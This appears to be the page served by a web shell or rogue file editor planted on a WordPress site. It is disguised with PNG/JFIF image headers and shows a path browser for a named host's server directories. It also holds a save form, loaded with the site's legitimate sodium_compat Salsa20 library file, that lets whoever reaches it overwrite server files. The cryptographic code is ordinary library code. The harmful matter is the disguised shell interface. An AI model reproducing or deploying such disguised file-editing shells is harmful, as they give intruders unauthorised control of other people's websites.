�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2Fweb%2F'>web</a>/<a href='?path=%2Fbig%2Fweb%2Fapache.gix-webserver.at%2F'>apache.gix-webserver.at</a>/<a href='?path=%2Fbig%2Fweb%2Fapache.gix-webserver.at%2Fhtdocs%2F'>htdocs</a>/<a href='?path=%2Fbig%2Fweb%2Fapache.gix-webserver.at%2Fhtdocs%2Fwp-includes%2F'>wp-includes</a>/<a href='?path=%2Fbig%2Fweb%2Fapache.gix-webserver.at%2Fhtdocs%2Fwp-includes%2Fsodium_compat%2F'>sodium_compat</a>/<a href='?path=%2Fbig%2Fweb%2Fapache.gix-webserver.at%2Fhtdocs%2Fwp-includes%2Fsodium_compat%2Fsrc%2F'>src</a>/<a href='?path=%2Fbig%2Fweb%2Fapache.gix-webserver.at%2Fhtdocs%2Fwp-includes%2Fsodium_compat%2Fsrc%2FCore32%2F'>Core32</a>/</p><hr><h3>✏️ Editing: Salsa20.php</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>&lt;?php

if (class_exists(&#039;ParagonIE_Sodium_Core32_Salsa20&#039;, false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core32_Salsa20
 */
abstract class ParagonIE_Sodium_Core32_Salsa20 extends ParagonIE_Sodium_Core32_Util
{
    const ROUNDS = 20;

    /**
     * Calculate an salsa20 hash of a single block
     *
     * @internal You should not use this directly from another application
     *
     * @param string $in
     * @param string $k
     * @param string|null $c
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function core_salsa20($in, $k, $c = null)
    {
        /**
         * @var ParagonIE_Sodium_Core32_Int32 $x0
         * @var ParagonIE_Sodium_Core32_Int32 $x1
         * @var ParagonIE_Sodium_Core32_Int32 $x2
         * @var ParagonIE_Sodium_Core32_Int32 $x3
         * @var ParagonIE_Sodium_Core32_Int32 $x4
         * @var ParagonIE_Sodium_Core32_Int32 $x5
         * @var ParagonIE_Sodium_Core32_Int32 $x6
         * @var ParagonIE_Sodium_Core32_Int32 $x7
         * @var ParagonIE_Sodium_Core32_Int32 $x8
         * @var ParagonIE_Sodium_Core32_Int32 $x9
         * @var ParagonIE_Sodium_Core32_Int32 $x10
         * @var ParagonIE_Sodium_Core32_Int32 $x11
         * @var ParagonIE_Sodium_Core32_Int32 $x12
         * @var ParagonIE_Sodium_Core32_Int32 $x13
         * @var ParagonIE_Sodium_Core32_Int32 $x14
         * @var ParagonIE_Sodium_Core32_Int32 $x15
         * @var ParagonIE_Sodium_Core32_Int32 $j0
         * @var ParagonIE_Sodium_Core32_Int32 $j1
         * @var ParagonIE_Sodium_Core32_Int32 $j2
         * @var ParagonIE_Sodium_Core32_Int32 $j3
         * @var ParagonIE_Sodium_Core32_Int32 $j4
         * @var ParagonIE_Sodium_Core32_Int32 $j5
         * @var ParagonIE_Sodium_Core32_Int32 $j6
         * @var ParagonIE_Sodium_Core32_Int32 $j7
         * @var ParagonIE_Sodium_Core32_Int32 $j8
         * @var ParagonIE_Sodium_Core32_Int32 $j9
         * @var ParagonIE_Sodium_Core32_Int32 $j10
         * @var ParagonIE_Sodium_Core32_Int32 $j11
         * @var ParagonIE_Sodium_Core32_Int32 $j12
         * @var ParagonIE_Sodium_Core32_Int32 $j13
         * @var ParagonIE_Sodium_Core32_Int32 $j14
         * @var ParagonIE_Sodium_Core32_Int32 $j15
         */
        if (self::strlen($k) &lt; 32) {
            throw new RangeException(&#039;Key must be 32 bytes long&#039;);
        }
        if ($c === null) {
            $x0  = new ParagonIE_Sodium_Core32_Int32(array(0x6170, 0x7865));
            $x5  = new ParagonIE_Sodium_Core32_Int32(array(0x3320, 0x646e));
            $x10 = new ParagonIE_Sodium_Core32_Int32(array(0x7962, 0x2d32));
            $x15 = new ParagonIE_Sodium_Core32_Int32(array(0x6b20, 0x6574));
        } else {
            $x0  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($c, 0, 4));
            $x5  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($c, 4, 4));
            $x10 = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($c, 8, 4));
            $x15 = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($c, 12, 4));
        }
        $x1  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($k, 0, 4));
        $x2  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($k, 4, 4));
        $x3  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($k, 8, 4));
        $x4  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($k, 12, 4));
        $x6  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($in, 0, 4));
        $x7  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($in, 4, 4));
        $x8  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($in, 8, 4));
        $x9  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($in, 12, 4));
        $x11 = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($k, 16, 4));
        $x12 = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($k, 20, 4));
        $x13 = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($k, 24, 4));
        $x14 = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($k, 28, 4));

        $j0  = clone $x0;
        $j1  = clone $x1;
        $j2  = clone $x2;
        $j3  = clone $x3;
        $j4  = clone $x4;
        $j5  = clone $x5;
        $j6  = clone $x6;
        $j7  = clone $x7;
        $j8  = clone $x8;
        $j9  = clone $x9;
        $j10  = clone $x10;
        $j11  = clone $x11;
        $j12  = clone $x12;
        $j13  = clone $x13;
        $j14  = clone $x14;
        $j15  = clone $x15;

        for ($i = self::ROUNDS; $i &gt; 0; $i -= 2) {
            $x4  = $x4-&gt;xorInt32($x0-&gt;addInt32($x12)-&gt;rotateLeft(7));
            $x8  = $x8-&gt;xorInt32($x4-&gt;addInt32($x0)-&gt;rotateLeft(9));
            $x12 = $x12-&gt;xorInt32($x8-&gt;addInt32($x4)-&gt;rotateLeft(13));
            $x0  = $x0-&gt;xorInt32($x12-&gt;addInt32($x8)-&gt;rotateLeft(18));

            $x9  = $x9-&gt;xorInt32($x5-&gt;addInt32($x1)-&gt;rotateLeft(7));
            $x13 = $x13-&gt;xorInt32($x9-&gt;addInt32($x5)-&gt;rotateLeft(9));
            $x1  = $x1-&gt;xorInt32($x13-&gt;addInt32($x9)-&gt;rotateLeft(13));
            $x5  = $x5-&gt;xorInt32($x1-&gt;addInt32($x13)-&gt;rotateLeft(18));

            $x14 = $x14-&gt;xorInt32($x10-&gt;addInt32($x6)-&gt;rotateLeft(7));
            $x2  = $x2-&gt;xorInt32($x14-&gt;addInt32($x10)-&gt;rotateLeft(9));
            $x6  = $x6-&gt;xorInt32($x2-&gt;addInt32($x14)-&gt;rotateLeft(13));
            $x10 = $x10-&gt;xorInt32($x6-&gt;addInt32($x2)-&gt;rotateLeft(18));

            $x3  = $x3-&gt;xorInt32($x15-&gt;addInt32($x11)-&gt;rotateLeft(7));
            $x7  = $x7-&gt;xorInt32($x3-&gt;addInt32($x15)-&gt;rotateLeft(9));
            $x11 = $x11-&gt;xorInt32($x7-&gt;addInt32($x3)-&gt;rotateLeft(13));
            $x15 = $x15-&gt;xorInt32($x11-&gt;addInt32($x7)-&gt;rotateLeft(18));

            $x1  = $x1-&gt;xorInt32($x0-&gt;addInt32($x3)-&gt;rotateLeft(7));
            $x2  = $x2-&gt;xorInt32($x1-&gt;addInt32($x0)-&gt;rotateLeft(9));
            $x3  = $x3-&gt;xorInt32($x2-&gt;addInt32($x1)-&gt;rotateLeft(13));
            $x0  = $x0-&gt;xorInt32($x3-&gt;addInt32($x2)-&gt;rotateLeft(18));

            $x6  = $x6-&gt;xorInt32($x5-&gt;addInt32($x4)-&gt;rotateLeft(7));
            $x7  = $x7-&gt;xorInt32($x6-&gt;addInt32($x5)-&gt;rotateLeft(9));
            $x4  = $x4-&gt;xorInt32($x7-&gt;addInt32($x6)-&gt;rotateLeft(13));
            $x5  = $x5-&gt;xorInt32($x4-&gt;addInt32($x7)-&gt;rotateLeft(18));

            $x11 = $x11-&gt;xorInt32($x10-&gt;addInt32($x9)-&gt;rotateLeft(7));
            $x8  = $x8-&gt;xorInt32($x11-&gt;addInt32($x10)-&gt;rotateLeft(9));
            $x9  = $x9-&gt;xorInt32($x8-&gt;addInt32($x11)-&gt;rotateLeft(13));
            $x10 = $x10-&gt;xorInt32($x9-&gt;addInt32($x8)-&gt;rotateLeft(18));

            $x12 = $x12-&gt;xorInt32($x15-&gt;addInt32($x14)-&gt;rotateLeft(7));
            $x13 = $x13-&gt;xorInt32($x12-&gt;addInt32($x15)-&gt;rotateLeft(9));
            $x14 = $x14-&gt;xorInt32($x13-&gt;addInt32($x12)-&gt;rotateLeft(13));
            $x15 = $x15-&gt;xorInt32($x14-&gt;addInt32($x13)-&gt;rotateLeft(18));
        }

        $x0  = $x0-&gt;addInt32($j0);
        $x1  = $x1-&gt;addInt32($j1);
        $x2  = $x2-&gt;addInt32($j2);
        $x3  = $x3-&gt;addInt32($j3);
        $x4  = $x4-&gt;addInt32($j4);
        $x5  = $x5-&gt;addInt32($j5);
        $x6  = $x6-&gt;addInt32($j6);
        $x7  = $x7-&gt;addInt32($j7);
        $x8  = $x8-&gt;addInt32($j8);
        $x9  = $x9-&gt;addInt32($j9);
        $x10 = $x10-&gt;addInt32($j10);
        $x11 = $x11-&gt;addInt32($j11);
        $x12 = $x12-&gt;addInt32($j12);
        $x13 = $x13-&gt;addInt32($j13);
        $x14 = $x14-&gt;addInt32($j14);
        $x15 = $x15-&gt;addInt32($j15);

        return $x0-&gt;toReverseString() .
            $x1-&gt;toReverseString() .
            $x2-&gt;toReverseString() .
            $x3-&gt;toReverseString() .
            $x4-&gt;toReverseString() .
            $x5-&gt;toReverseString() .
            $x6-&gt;toReverseString() .
            $x7-&gt;toReverseString() .
            $x8-&gt;toReverseString() .
            $x9-&gt;toReverseString() .
            $x10-&gt;toReverseString() .
            $x11-&gt;toReverseString() .
            $x12-&gt;toReverseString() .
            $x13-&gt;toReverseString() .
            $x14-&gt;toReverseString() .
            $x15-&gt;toReverseString();
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $len
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function salsa20($len, $nonce, $key)
    {
        if (self::strlen($key) !== 32) {
            throw new RangeException(&#039;Key must be 32 bytes long&#039;);
        }
        $kcopy = &#039;&#039; . $key;
        $in = self::substr($nonce, 0, 8) . str_repeat(&quot;\0&quot;, 8);
        $c = &#039;&#039;;
        while ($len &gt;= 64) {
            $c .= self::core_salsa20($in, $kcopy, null);
            $u = 1;
            // Internal counter.
            for ($i = 8; $i &lt; 16; ++$i) {
                $u += self::chrToInt($in[$i]);
                $in[$i] = self::intToChr($u &amp; 0xff);
                $u &gt;&gt;= 8;
            }
            $len -= 64;
        }
        if ($len &gt; 0) {
            $c .= self::substr(
                self::core_salsa20($in, $kcopy, null),
                0,
                $len
            );
        }
        try {
            ParagonIE_Sodium_Compat::memzero($kcopy);
        } catch (SodiumException $ex) {
            $kcopy = null;
        }
        return $c;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $m
     * @param string $n
     * @param int $ic
     * @param string $k
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function salsa20_xor_ic($m, $n, $ic, $k)
    {
        $mlen = self::strlen($m);
        if ($mlen &lt; 1) {
            return &#039;&#039;;
        }
        $kcopy = self::substr($k, 0, 32);
        $in = self::substr($n, 0, 8);
        // Initialize the counter
        $in .= ParagonIE_Sodium_Core32_Util::store64_le($ic);

        $c = &#039;&#039;;
        while ($mlen &gt;= 64) {
            $block = self::core_salsa20($in, $kcopy, null);
            $c .= self::xorStrings(
                self::substr($m, 0, 64),
                self::substr($block, 0, 64)
            );
            $u = 1;
            for ($i = 8; $i &lt; 16; ++$i) {
                $u += self::chrToInt($in[$i]);
                $in[$i] = self::intToChr($u &amp; 0xff);
                $u &gt;&gt;= 8;
            }

            $mlen -= 64;
            $m = self::substr($m, 64);
        }

        if ($mlen) {
            $block = self::core_salsa20($in, $kcopy, null);
            $c .= self::xorStrings(
                self::substr($m, 0, $mlen),
                self::substr($block, 0, $mlen)
            );
        }
        try {
            ParagonIE_Sodium_Compat::memzero($block);
            ParagonIE_Sodium_Compat::memzero($kcopy);
        } catch (SodiumException $ex) {
            $block = null;
            $kcopy = null;
        }

        return $c;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function salsa20_xor($message, $nonce, $key)
    {
        return self::xorStrings(
            $message,
            self::salsa20(
                self::strlen($message),
                $nonce,
                $key
            )
        );
    }
}
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2Fweb%2Fapache.gix-webserver.at%2Fhtdocs%2Fwp-includes%2Fsodium_compat%2Fsrc%2FCore32'>🔙 Back</a></p>